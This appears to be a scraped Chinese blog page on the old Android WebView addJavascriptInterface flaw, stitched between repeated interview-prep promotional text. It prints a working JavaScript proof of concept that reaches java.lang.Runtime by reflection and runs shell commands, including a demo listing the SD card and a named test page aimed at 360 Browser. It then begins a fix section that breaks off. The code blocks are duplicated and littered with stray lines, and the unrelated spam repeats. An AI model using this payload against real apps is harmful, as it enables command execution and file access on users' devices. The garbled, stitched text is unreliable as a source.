最后
最后为了帮助大家深刻理解Android相关知识点的原理以及面试相关知识,这里放上相关的我搜集整理的24套腾讯、字节跳动、阿里、百度2019-2021BAT 面试真题解析,我把大厂面试中常被问到的技术点整理成了视频和PDF(实际上比预期多花了不少精力),包知识脉络 + 诸多细节。
还有 高级架构技术进阶脑图 帮助大家学习提升进阶,也节省大家在网上搜索资料的时间来学习,也可以分享给身边好友一起学习。
Android 基础知识点
Java 基础知识点
Android 源码相关分析
常见的一些原理性问题
希望大家在今年一切顺利,进到自己想进的公司,共勉!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
-
{
-
for (var obj in window) {
-
if (“getClass” in window[obj]) {
-
alert(obj);
-
return window[obj].getClass().forName(“java.lang.Runtime”)
-
.getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);
-
}
-
}
-
}
function execute(cmdArgs)
{
for (var obj in window) {
if (“getClass” in window[obj]) {
alert(obj);
return window[obj].getClass().forName(“java.lang.Runtime”)
.getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
}
}
}
3,漏洞证明
**举例一:**为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
[html] view plain copy
-
<html>
-
<head>
-
<meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>
-
<script>
-
var i=0;
-
function getContents(inputStream)
-
{
-
var contents = “”+i;
-
var b = inputStream.read();
-
var i = 1;
-
while(b != -1) {
-
var bString = String.fromCharCode(b);
-
contents += bString;
-
contents += ”\n”
-
b = inputStream.read();
-
}
-
i=i+1;
-
return contents;
-
}
-
function execute(cmdArgs)
-
{
-
for (var obj in window) {
-
console.log(obj);
-
if (“getClass” in window[obj]) {
-
alert(obj);
-
return window[obj].getClass().forName(“java.lang.Runtime”).
-
getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
-
}
-
}
-
}
-
var p = execute([“ls”,”/mnt/sdcard/”]);
-
document.write(getContents(p.getInputStream()));
-
</script>
-
<script language=“javascript”>
-
function onButtonClick()
-
{
-
// Call the method of injected object from Android source.
-
var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);
-
alert(text);
-
}
-
function onImageClick()
-
{
-
//Call the method of injected object from Android source.
-
var src = document.getElementById(“image”).src;
-
var width = document.getElementById(“image”).width;
-
var height = document.getElementById(“image”).height;
-
// Call the method of injected object from Android source.
-
jsInterface.onImageClick(src, width, height);
-
}
-
</script>
-
</head>
-
<body>
-
<p>点击图片把URL传到Java代码</p>
-
<img class=“curved_box” id=“image”
-
οnclick=“onImageClick()”
-
width=“328”
-
height=“185”
-
src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”
-
οnerrοr=“this.src=’background_chl.jpg’”/>
-
</p>
-
<button type=“button” οnclick=“onButtonClick()”>与Java代码交互</button>
-
</body>
-
</html>
点击图片把URL传到Java代码
<img class=“curved_box” id=“image”
οnclick=“onImageClick()”
width=“328”
height=“185”
src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”
οnerrοr=“this.src=‘background_chl.jpg’”/>
<button type=“button” οnclick=“onButtonClick()”>与Java代码交互
这段HTML的运行效果如下:
图一:期望运行结果图
上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
[javascript] view plain copy
-
return window[obj].getClass().forName(“java.lang.Runtime”).
-
getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);
return window[obj].getClass().forName(“java.lang.Runtime”).
getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
[java] view plain copy
-
mWebView = (WebView) findViewById(R.id.webview);
-
mWebView.getSettings().setJavaScriptEnabled(true);
-
mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);
-
mWebView.loadUrl(”file:///android_asset/html/test.html”);
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);
mWebView.loadUrl(“file:///android_asset/html/test.html”);
需要添加的权限:
[html] view plain copy
-
<uses-permission android:name=“android.permission.INTERNET”/>
-
<uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />
-
<uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
图二:实际运行结果,列出了SDCard中的文件
**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
图四:错误结果
4,解决方案
1,Android 4.2以上的系统
在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:
[java] view plain copy
-
class JsObject {
-
@JavascriptInterface
-
public String toString() { return “injectedObject”; }
-
}
尾声
面试成功其实都是必然发生的事情,因为在此之前我做足了充分的准备工作,不单单是纯粹的刷题,更多的还会去刷一些Android核心架构进阶知识点,比如:JVM、高并发、多线程、缓存、热修复设计、插件化框架解读、组件化框架设计、图片加载框架、网络、设计模式、设计思想与代码质量优化、程序性能优化、开发效率优化、设计模式、负载均衡、算法、数据结构、高级UI晋升、Framework内核解析、Android组件内核等。
不仅有学习文档,视频+笔记提高学习效率,还能稳固你的知识,形成良好的系统的知识体系。这里,笔者分享一份从架构哲学的层面来剖析的视频及资料分享给大家梳理了多年的架构经验,筹备近6个月最新录制的,相信这份视频能给你带来不一样的启发、收获。
Android进阶学习资料库
一共十个专题,包括了Android进阶所有学习资料,Android进阶视频,Flutter,java基础,kotlin,NDK模块,计算机网络,数据结构与算法,微信小程序,面试题解析,framework源码!
大厂面试真题
PS:之前因为秋招收集的二十套一二线互联网公司Android面试真题 (含BAT、小米、华为、美团、滴滴)和我自己整理Android复习笔记(包含Android基础知识点、Android扩展知识点、Android源码解析、设计模式汇总、Gradle知识点、常见算法题汇总。)
《2017-2021字节跳动Android面试历年真题解析》
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
ava基础,kotlin,NDK模块,计算机网络,数据结构与算法,微信小程序,面试题解析,framework源码!
[外链图片转存中…(img-OKGs13q7-1714814181767)]
大厂面试真题
PS:之前因为秋招收集的二十套一二线互联网公司Android面试真题 (含BAT、小米、华为、美团、滴滴)和我自己整理Android复习笔记(包含Android基础知识点、Android扩展知识点、Android源码解析、设计模式汇总、Gradle知识点、常见算法题汇总。)
[外链图片转存中…(img-Cl6cBA0A-1714814181767)]
《2017-2021字节跳动Android面试历年真题解析》
[外链图片转存中…(img-yCDwZjzC-1714814181768)]
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!